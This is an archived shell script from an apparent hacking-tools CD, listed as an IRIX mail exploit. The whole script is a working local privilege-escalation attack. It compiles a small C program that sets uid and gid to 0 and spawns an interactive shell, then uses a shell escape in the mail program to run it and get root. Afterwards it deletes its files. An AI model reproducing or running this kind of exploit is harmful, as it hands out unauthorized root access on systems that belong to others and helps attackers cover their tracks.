home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / irixmail.sh < prev    next >
Encoding:
Linux/UNIX/POSIX Shell Script  |  2001-11-06  |  935 b   |  52 lines

  1. #!/bin/sh
  2. MAIL="/bin/mail"
  3. RM="/bin/rm -f"
  4. CC="/usr/bin/cc"
  5. OS="IRIX"
  6.  
  7. if  [ ".`uname -s`" != ".$OS" ];  then
  8.   echo "this box is not running $OS !"
  9.   exit 1
  10. fi
  11. echo "creating rewt.c"
  12. cat >rewt.c <<'EOF'
  13. main()
  14. {
  15. setuid(0);
  16. setgid(0);
  17. system("/bin/sh -i");
  18. }
  19. EOF
  20. echo "compiling..."
  21. $CC -o rewt rewt.c
  22. if [ -f rewt ]; then
  23.   echo "done"
  24.   $RM rewt.c
  25. else
  26.   echo "unable to compile rewt.c"
  27.   $RM rewt.c
  28.   exit 1
  29. fi
  30. # make dummy mail file for -f
  31. echo "making dummy mail file"
  32. cat >dummymail <<'EOF'
  33. From mr.haqr@bogus.host.edu Sun Oct 30 00:00:00 1994
  34. Return-Path: </dev/null>
  35. Message-Id: <m0r1RBj-0003gkC@bogus.host.edu>
  36. From: mr.haqr (Mr. Haqr)
  37. Subject: Irix is secure!!@#%$^
  38. To: root (root)
  39. Date: Sun, 30 Oct 1994 00:00:00
  40.  
  41. gimme sum rewt d00d!
  42. <insert l0ck motd here>
  43.  
  44. EOF
  45. echo "running $MAIL, type '!rewt' to get root, exit  with 'exit' and then 'q'"
  46. $MAIL -f dummymail
  47. echo "deleting evil files"
  48. $RM dummymail rewt rewt.c
  49.  
  50. exit 0
  51.  
  52.